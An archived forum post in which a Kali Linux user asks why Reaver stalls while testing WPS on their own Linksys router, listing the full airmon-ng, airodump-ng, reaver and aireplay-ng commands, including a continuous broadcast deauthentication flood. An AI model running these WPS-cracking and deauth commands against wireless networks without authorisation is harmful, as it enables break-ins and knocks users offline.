Intel Wireless 7260 AC - stuck at switching channels in Reaver [Archive]

I downloaded the latest Kali Linux last week and I am booting from a live DVD. My laptop is an HP Elitebook 850 with an Intel Wireless 7260 AC. I am new to Kali Linux but I've been doing a lot of research, reading documentation, looking thru forums, Youtube videos, etc. I am trying to see if I can hack my home wireless AP using Reaver, it's a Linksys EA2700 and it does have WPS turned on. I am about 10 ft away from it so range is not a problem. I was able to get pretty far on my own and I got Reaver started but it's stuck at switching channels, I even left it running overnight. Also, I am not running this from VM or anything, booting from my laptop to the Live DVD. After booting, here's what I type:

root@kali:~# iwconfig
eth0 no wireless extensions.

wlan0 IEEE 802.11abgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

Then I stop the Network Manager and kill all the processes that can cause trouble.

root@kali:~# service network-manager stop
root@kali:~# airmon-ng check kill
Killing these processes:

PID Name
1328 wpa_supplicant

Now I put the interface in Monitor Mode

root@kali:~# airmon-ng start wlan0

No interfering processes found
PHY Interface Driver Chipset

phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 73)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)

Now I set the interface on channel 1 because my AP is on channel 1. I know this step seems a bit backwards because I haven't run Airodump yet to scan for the SSIDs but having gone thru these steps numerous times, I already know my AP is on channel 1. I did read in some of the forums that some people had better luck with setting the channel prior to turning on "monitor mode" but this is the only way I could get it to work.

root@kali:~# iwconfig wlan0mon channel 1

Now I run Airodump-ng to scan for the wireless networks around me.

root@kali:~# airodump-ng wlan0mon

Press CTRL-C to exit out of Airodump. Optionally, I also ran the command: WASH (to show the wireless APs that has WPS enabled but I didn't need this because it's my home AP so I know it has WPS enabled)

Then I ran Reaver and this is the part where it gets stuck. It just keeps cycling thru the channels.

root@kali:~# reaver -i wlan0mon -b 20:AA:4B:92:AF:4B -S -N -a -w -vv

I read somewhere if you have trouble associating to try to use Aireplay. I had two terminal windows open, one with Airodump and the other one with Aireplay. Here's my output from that but Reaver still wouldn't work, even after using Aireplay.

root@kali:~# aireplay-ng -0 0 -a 20:AA:4B:92:AF:4B wlan0mon

NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).

21:31:12 Sending DeAuth to broadcast -- BSSID: [20:AA:4B:92:AF:4B]

Anybody have any ideas how to fix this?
